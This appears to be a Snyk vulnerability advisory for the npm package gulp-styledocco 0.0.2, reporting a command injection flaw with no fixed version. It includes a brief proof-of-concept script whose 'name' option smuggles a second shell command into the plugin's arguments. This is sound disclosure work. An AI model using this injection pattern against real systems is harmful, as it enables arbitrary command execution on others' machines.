gulp-styledocco@0.0.2 vulnerabilities

StyleDocco plugin for gulp.

Direct Vulnerabilities

Known vulnerabilities in the gulp-styledocco package. This does not include vulnerabilities belonging to this package’s dependencies.

Fix vulnerabilities automatically

Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

Fix for free
VulnerabilityVulnerable Version
  • M
Command Injection

gulp-styledocco is a StyleDocco plugin for gulp.

Affected versions of this package are vulnerable to Command Injection. The argument options of the exports function in index.js can be controlled by users without any sanitization.

PoC

var root = require("gulp-styledocco");
var gulp = require("gulp");
var options = {
  opt: 'docs',
  name: "123\"& touch Vulnerable& \""
}

gulp.src("./gulp-styledocco.js")
  .pipe(root(options));

How to fix Command Injection?

There is no fixed version for gulp-styledocco.

*